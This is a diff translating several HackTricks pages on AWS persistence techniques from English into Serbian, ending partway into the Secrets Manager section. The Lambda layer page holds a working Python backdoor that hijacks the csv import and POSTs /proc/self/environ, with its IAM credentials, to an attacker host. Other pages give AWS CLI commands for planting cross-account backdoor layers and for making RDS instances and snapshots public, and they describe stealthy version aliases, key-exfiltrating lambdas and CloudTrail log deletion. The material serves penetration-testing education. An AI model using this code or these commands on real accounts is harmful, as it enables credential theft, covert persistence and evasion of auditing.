Moguće je **uvesti/otvoriti backdoor u layer da izvrši proizvoljan kod** kada se lambda izvršava na diskretan način:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
@@ -20,49 +20,45 @@ aws-lambda-layers-persistence.md
|
||||
|
||||
### Lambda Extension Persistence
|
||||
|
||||
Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
|
||||
Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persistirati u lambdi, ali i ukrasti i izmeniti zahteve.
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### Via resource policies
|
||||
### Putem politika resursa
|
||||
|
||||
It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
|
||||
Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim nalozima:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Versions, Aliases & Weights
|
||||
### Verzije, Alias-i & Težine
|
||||
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
|
||||
This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
|
||||
Lambda može imati **različite verzije** (sa različitim kodom za svaku verziju).\
|
||||
Zatim, možete kreirati **različite alias-e sa različitim verzijama** lambde i postaviti različite težine za svaku.\
|
||||
Na ovaj način napadač bi mogao kreirati **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršavati verziju 1 u 1%** zahteva da ostane diskretan.
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Version Backdoor + API Gateway
|
||||
### Verzija Backdoor + API Gateway
|
||||
|
||||
1. Copy the original code of the Lambda
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. Call the API gateway related to the lambda to execute the code
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. This will hide the backdoored code in a previous version
|
||||
4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
|
||||
5. Select the POST method created and in Actions select **`Deploy API`**
|
||||
6. Now, when you **call the function via POST your Backdoor** will be invoked
|
||||
1. Kopirajte originalni kod Lambde
|
||||
2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa malicioznim kodom). Objavite i **implementirajte tu verziju** na $LATEST
|
||||
1. Pozovite API gateway povezan sa lambdom da izvrši kod
|
||||
3. **Kreirajte novu verziju sa originalnim kodom**, objavite i implementirajte tu **verziju** na $LATEST.
|
||||
1. Ovo će sakriti backdoored kod u prethodnoj verziji
|
||||
4. Idite na API Gateway i **kreirajte novu POST metodu** (ili izaberite bilo koju drugu metodu) koja će izvršiti backdoored verziju lambde: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. Obratite pažnju na završni :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju).
|
||||
5. Izaberite kreiranu POST metodu i u Akcijama izaberite **`Deploy API`**
|
||||
6. Sada, kada **pozovete funkciju putem POST-a vaš Backdoor** će biti aktiviran
|
||||
|
||||
### Cron/Event actuator
|
||||
|
||||
The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
|
||||
Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
|
||||
Činjenica da možete **izvršavati lambda funkcije kada se nešto desi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\
|
||||
Evo nekoliko ideja kako da učinite svoju **prisutnost u AWS-u diskretnijom kreiranjem lambdi**.
|
||||
|
||||
- Every time a new user is created lambda generates a new user key and send it to the attacker.
|
||||
- Every time a new role is created lambda gives assume role permissions to compromised users.
|
||||
- Every time new cloudtrail logs are generated, delete/alter them
|
||||
- Svaki put kada se kreira novi korisnik, lambda generiše novi korisnički ključ i šalje ga napadaču.
|
||||
- Svaki put kada se kreira nova uloga, lambda dodeljuje dozvole za preuzimanje uloge kompromitovanim korisnicima.
|
||||
- Svaki put kada se generišu novi cloudtrail logovi, obrišite/izmenite ih
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,35 +4,35 @@
|
||||
|
||||
## Lambda Extensions
|
||||
|
||||
Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
|
||||
Lambda ekstenzije poboljšavaju funkcije integracijom sa raznim **alatima za praćenje, posmatranje, bezbednost i upravljanje**. Ove ekstenzije, dodate putem [.zip arhiva koristeći Lambda slojeve](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ili uključene u [implementacije kontejnerskih slika](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), rade u dva režima: **interni** i **eksterni**.
|
||||
|
||||
- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
|
||||
- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
|
||||
- **Interni ekstenzije** se spajaju sa procesom izvršavanja, manipulišući njegovim pokretanjem koristeći **promenljive okruženja specifične za jezik** i **wrapper skripte**. Ova prilagođavanja se primenjuju na niz izvršnih okruženja, uključujući **Java Correto 8 i 11, Node.js 10 i 12, i .NET Core 3.1**.
|
||||
- **Eksterni ekstenzije** rade kao odvojeni procesi, održavajući usklađenost sa životnim ciklusom Lambda funkcije. Kompatibilni su sa raznim izvršnim okruženjima kao što su **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1**, i **prilagođena izvršna okruženja**.
|
||||
|
||||
For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
Za više informacija o [**kako lambda ekstenzije funkcionišu proverite dokumentaciju**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
|
||||
|
||||
### External Extension for Persistence, Stealing Requests & modifying Requests
|
||||
### Eksterni Ekstenzija za Održavanje, Krađu Zahteva & Modifikovanje Zahteva
|
||||
|
||||
This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
Ovo je sažetak tehnike predložene u ovom postu: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
It was found that the default Linux kernel in the Lambda runtime environment is compiled with “**process_vm_readv**” and “**process_vm_writev**” system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapid’s heap memory, by design.**
|
||||
Otkriveno je da je podrazumevani Linux kernel u Lambda okruženju izvršavanja kompajliran sa “**process_vm_readv**” i “**process_vm_writev**” sistemskim pozivima. I svi procesi se izvršavaju sa istim korisničkim ID-jem, čak i novi proces kreiran za eksternu ekstenziju. **To znači da eksterni ekstenzija ima potpuni pristup za čitanje i pisanje u Rapidovu heap memoriju, po dizajnu.**
|
||||
|
||||
Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request.
|
||||
Štaviše, dok Lambda ekstenzije imaju mogućnost da **pretplate na događaje invokacije**, AWS ne otkriva sirove podatke ovim ekstenzijama. Ovo osigurava da **ekstenzije ne mogu pristupiti osetljivim informacijama** koje se prenose putem HTTP zahteva.
|
||||
|
||||
The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid.
|
||||
Init (Rapid) proces prati sve API zahteve na [http://127.0.0.1:9001](http://127.0.0.1:9001/) dok se Lambda ekstenzije inicijalizuju i izvršavaju pre nego što se izvrši bilo koji kod izvršavanja, ali nakon Rapida.
|
||||
|
||||
<figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
|
||||
|
||||
The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions.
|
||||
Promenljiva **`AWS_LAMBDA_RUNTIME_API`** označava **IP** adresu i **broj** porta Rapid API-ju za **dečije procese izvršavanja** i dodatne ekstenzije.
|
||||
|
||||
> [!WARNING]
|
||||
> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number.
|
||||
> Promenom **`AWS_LAMBDA_RUNTIME_API`** promenljive okruženja na **`port`** kojem imamo pristup, moguće je presresti sve akcije unutar Lambda izvršavanja (**man-in-the-middle**). Ovo je moguće jer ekstenzija radi sa istim privilegijama kao Rapid Init, a kernel sistema omogućava **modifikaciju memorije procesa**, omogućavajući promenu broja porta.
|
||||
|
||||
Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment.
|
||||
Budući da **ekstenzije rade pre bilo kog koda izvršavanja**, modifikovanje promenljive okruženja će uticati na proces izvršavanja (npr. Python, Java, Node, Ruby) kada se pokrene. Štaviše, **ekstenzije učitane nakon** naše, koje se oslanjaju na ovu promenljivu, takođe će prolaziti kroz našu ekstenziju. Ova postavka bi mogla omogućiti malveru da potpuno zaobiđe bezbednosne mere ili ekstenzije za logovanje direktno unutar okruženja izvršavanja.
|
||||
|
||||
<figure><img src="../../../../images/image (267).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png</a></p></figcaption></figure>
|
||||
|
||||
The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**.
|
||||
Alat [**lambda-spy**](https://github.com/clearvector/lambda-spy) je kreiran da izvrši tu **memorijsku pisanje** i **ukrade osetljive informacije** iz lambda zahteva, drugih **ekstenzija** **zahteva** i čak **modifikuje ih**.
|
||||
|
||||
## References
|
||||
|
||||
@@ -40,7 +40,3 @@ The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created
|
||||
- [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,79 +4,72 @@
|
||||
|
||||
## Lambda Layers
|
||||
|
||||
A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
|
||||
Lambda layer je .zip datoteka koja **može sadržati dodatni kod** ili drugi sadržaj. Layer može sadržati biblioteke, [prilagođeno vreme izvršavanja](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), podatke ili konfiguracione datoteke.
|
||||
|
||||
It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
|
||||
Moguće je uključiti do **pet layera po funkciji**. Kada uključite layer u funkciju, **sadržaj se ekstraktuje u `/opt`** direktorijum u okruženju izvršavanja.
|
||||
|
||||
By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
|
||||
Po **defaultu**, **layeri** koje kreirate su **privatni** za vaš AWS nalog. Možete odlučiti da **podelite** layer sa drugim nalozima ili da **napravite** layer **javnim**. Ako vaše funkcije koriste layer koji je objavio drugi nalog, vaše funkcije mogu **nastaviti da koriste verziju layera nakon što je obrisana, ili nakon što je vaša dozvola za pristup layeru opozvana**. Međutim, ne možete kreirati novu funkciju ili ažurirati funkcije koristeći obrisanu verziju layera.
|
||||
|
||||
Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
|
||||
Funkcije koje su implementirane kao slika kontejnera ne koriste layer-e. Umesto toga, pakujete svoje omiljeno vreme izvršavanja, biblioteke i druge zavisnosti u sliku kontejnera kada gradite sliku.
|
||||
|
||||
### Python load path
|
||||
|
||||
The load path that Python will use in lambda is the following:
|
||||
|
||||
Putanja učitavanja koju će Python koristiti u lambda je sledeća:
|
||||
```
|
||||
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
|
||||
```
|
||||
|
||||
Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`**
|
||||
Proverite kako **druga** i treća **pozicija** zauzimaju direktorijumi gde **lambda slojevi** raspakuju svoje datoteke: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`**
|
||||
|
||||
> [!CAUTION]
|
||||
> If an attacker managed to **backdoor** a used lambda **layer** or **add one** that will be **executing arbitrary code when a common library is loaded**, he will be able to execute malicious code with each lambda invocation.
|
||||
> Ako napadač uspe da **ubaci** **backdoor** u korišćeni lambda **sloj** ili **doda jedan** koji će **izvršavati proizvoljan kod kada se učita uobičajena biblioteka**, moći će da izvrši zlonamerni kod sa svakim pozivom lambda funkcije.
|
||||
|
||||
Therefore, the requisites are:
|
||||
Stoga, zahtevi su:
|
||||
|
||||
- **Check libraries** that are **loaded** by the victims code
|
||||
- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
|
||||
- **Proverite biblioteke** koje su **učitane** kodom žrtve
|
||||
- Kreirajte **proxy biblioteku sa lambda slojevima** koja će **izvršavati prilagođeni kod** i **učitati originalnu** biblioteku.
|
||||
|
||||
### Preloaded libraries
|
||||
### Učitane biblioteke
|
||||
|
||||
> [!WARNING]
|
||||
> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
|
||||
> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
|
||||
|
||||
With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
|
||||
> Kada se zloupotrebljava ova tehnika, naišao sam na poteškoću: Neke biblioteke su **već učitane** u python runtime kada se vaš kod izvršava. Očekivao sam da pronađem stvari poput `os` ili `sys`, ali **čak je i `json` biblioteka bila učitana**.\
|
||||
> Da bi se zloupotrebila ova tehnika postojanosti, kod treba da **učita novu biblioteku koja nije učitana** kada se kod izvršava.
|
||||
|
||||
Sa python kodom poput ovog moguće je dobiti **listu biblioteka koje su unapred učitane** unutar python runtime-a u lambda:
|
||||
```python
|
||||
import sys
|
||||
|
||||
def lambda_handler(event, context):
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
return {
|
||||
'statusCode': 200,
|
||||
'body': str(sys.modules.keys())
|
||||
}
|
||||
```
|
||||
|
||||
And this is the **list** (check that libraries like `os` or `json` are already there)
|
||||
|
||||
I ovo je **lista** (proverite da li su biblioteke kao što su `os` ili `json` već prisutne)
|
||||
```
|
||||
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
|
||||
```
|
||||
|
||||
And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
I ovo je lista **biblioteka** koje **lambda uključuje instalirane po defaultu**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
|
||||
|
||||
### Lambda Layer Backdooring
|
||||
|
||||
In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
|
||||
U ovom primeru pretpostavimo da ciljani kod uvozi **`csv`**. Mi ćemo **napraviti backdoor za uvoz `csv` biblioteke**.
|
||||
|
||||
For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
|
||||
This file must:
|
||||
Da bismo to uradili, kreiraćemo **direktorijum csv** sa fajlom **`__init__.py`** u njemu na putanji koja se učitava od strane lambda: **`/opt/python/lib/python3.9/site-packages`**\
|
||||
Zatim, kada se lambda izvrši i pokuša da učita **csv**, naš **`__init__.py` fajl će biti učitan i izvršen**.\
|
||||
Ovaj fajl mora:
|
||||
|
||||
- Execute our payload
|
||||
- Load the original csv library
|
||||
|
||||
We can do both with:
|
||||
- Izvršiti naš payload
|
||||
- Učitati originalnu csv biblioteku
|
||||
|
||||
Možemo uraditi oboje sa:
|
||||
```python
|
||||
import sys
|
||||
from urllib import request
|
||||
|
||||
with open("/proc/self/environ", "rb") as file:
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
url= "https://attacker13123344.com/" #Change this to your server
|
||||
req = request.Request(url, data=file.read(), method="POST")
|
||||
response = request.urlopen(req)
|
||||
|
||||
# Remove backdoor directory from path to load original library
|
||||
del_path_dir = "/".join(__file__.split("/")[:-2])
|
||||
@@ -90,29 +83,27 @@ import csv as _csv
|
||||
|
||||
sys.modules["csv"] = _csv
|
||||
```
|
||||
Zatim, kreirajte zip sa ovim kodom na putanji **`python/lib/python3.9/site-packages/__init__.py`** i dodajte ga kao lambda layer.
|
||||
|
||||
Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
|
||||
Ovaj kod možete pronaći na [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
|
||||
|
||||
The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
|
||||
Integrisani payload će **poslati IAM kredencijale na server PRVI PUT kada se pozove ili NAKON resetovanja lambda kontejnera** (promena koda ili hladna lambda), ali **druge tehnike** kao što su sledeće takođe mogu biti integrisane:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### External Layers
|
||||
### Eksterni Layeri
|
||||
|
||||
Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
|
||||
Also note that the **max number of layers a lambda can have is 5**.
|
||||
Napomena da je moguće koristiti **lambda layer-e iz eksternih naloga**. Štaviše, lambda može koristiti layer iz eksternog naloga čak i ako nema dozvole.\
|
||||
Takođe, napomena da je **maksimalan broj layer-a koje lambda može imati 5**.
|
||||
|
||||
Therefore, in order to improve the versatility of this technique an attacker could:
|
||||
|
||||
- Backdoor an existing layer of the user (nothing is external)
|
||||
- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
|
||||
- The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
|
||||
- The victim **won't see external layers** used with **`aws lambda list-layers`**
|
||||
Stoga, kako bi poboljšao svestranost ove tehnike, napadač bi mogao:
|
||||
|
||||
- Backdoor-ovati postojeći layer korisnika (ništa nije eksterno)
|
||||
- **Kreirati** **layer** u **svojim nalogu**, dati **nalogu žrtve pristup** da koristi layer, **konfigurisati** **layer** u Lambda žrtve i **ukloniti dozvolu**.
|
||||
- **Lambda** će i dalje moći da **koristi layer** i **žrtva neće** imati lak način da **preuzme kod layer-a** (osim ako ne dobije rev shell unutar lambda)
|
||||
- Žrtva **neće videti eksterne layer-e** korišćene sa **`aws lambda list-layers`**
|
||||
```bash
|
||||
# Upload backdoor layer
|
||||
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
|
||||
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
|
||||
# Remove permissions
|
||||
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,34 +4,30 @@
|
||||
|
||||
## Lightsail
|
||||
|
||||
For more information check:
|
||||
Za više informacija proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-lightsail-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Download Instance SSH keys & DB passwords
|
||||
### Preuzmite SSH ključeve instance i lozinke za DB
|
||||
|
||||
They won't be changed probably so just having them is a good option for persistence
|
||||
Verovatno se neće promeniti, tako da ih imati je dobra opcija za postojanost
|
||||
|
||||
### Backdoor Instances
|
||||
### Backdoor instance
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
Napadač bi mogao dobiti pristup instancama i postaviti backdoor:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key**
|
||||
- Expose a port with port knocking with a backdoor
|
||||
- Koristeći tradicionalni **rootkit** na primer
|
||||
- Dodajući novi **javnu SSH ključ**
|
||||
- Izlaganje porta sa port knocking uz backdoor
|
||||
|
||||
### DNS persistence
|
||||
### DNS postojanost
|
||||
|
||||
If domains are configured:
|
||||
Ako su domeni konfigurisani:
|
||||
|
||||
- Create a subdomain pointing your IP so you will have a **subdomain takeover**
|
||||
- Create **SPF** record allowing you to send **emails** from the domain
|
||||
- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
|
||||
- Kreirajte poddomen koji usmerava na vašu IP adresu kako biste imali **preuzimanje poddomena**
|
||||
- Kreirajte **SPF** zapis koji vam omogućava da šaljete **emailove** sa domena
|
||||
- Konfigurišite **glavnu IP adresu domena na svoju** i izvršite **MitM** od vaše IP adrese do legitimnih
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,27 @@
|
||||
# AWS - RDS Persistence
|
||||
# AWS - RDS Persistencija
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## RDS
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-relational-database-rds-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Make instance publicly accessible: `rds:ModifyDBInstance`
|
||||
|
||||
An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
|
||||
### Omogućite javni pristup instanci: `rds:ModifyDBInstance`
|
||||
|
||||
Napadač sa ovom dozvolom može **modifikovati postojeću RDS instancu kako bi omogućio javni pristup**.
|
||||
```bash
|
||||
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
|
||||
```
|
||||
### Kreirajte admin korisnika unutar DB
|
||||
|
||||
### Create an admin user inside the DB
|
||||
|
||||
An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
|
||||
|
||||
### Make snapshot public
|
||||
Napadač može jednostavno **napraviti korisnika unutar DB** tako da čak i ako se lozinka glavnog korisnika promeni, on **ne gubi pristup** bazi podataka.
|
||||
|
||||
### Učinite snimak javnim
|
||||
```bash
|
||||
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,26 +4,22 @@
|
||||
|
||||
## S3
|
||||
|
||||
For more information check:
|
||||
Za više informacija pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### KMS Client-Side Encryption
|
||||
### KMS Klijentska Enkripcija
|
||||
|
||||
When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
|
||||
Kada je proces enkripcije završen, korisnik će koristiti KMS API da generiše novi ključ (`aws kms generate-data-key`) i on će **sacuvati generisani enkriptovani ključ unutar metapodataka** datoteke ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) tako da kada dođe do dekripcije, može ponovo da ga dekriptuje koristeći KMS:
|
||||
|
||||
<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
|
||||
Stoga, napadač bi mogao da dobije ovaj ključ iz metapodataka i dekriptuje sa KMS (`aws kms decrypt`) da bi dobio ključ koji je korišćen za enkripciju informacija. Na ovaj način, napadač će imati ključ za enkripciju i ako se taj ključ ponovo koristi za enkripciju drugih datoteka, moći će da ga iskoristi.
|
||||
|
||||
### Using S3 ACLs
|
||||
### Korišćenje S3 ACL-a
|
||||
|
||||
Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
|
||||
Iako su obično ACL-ovi kanti onemogućeni, napadač sa dovoljno privilegija mogao bi da ih zloupotrebi (ako su omogućeni ili ako napadač može da ih omogući) da zadrži pristup S3 kanti.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,57 +1,51 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
# AWS - Održavanje u Secrets Manager-u
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
For more info check:
|
||||
Za više informacija pogledajte:
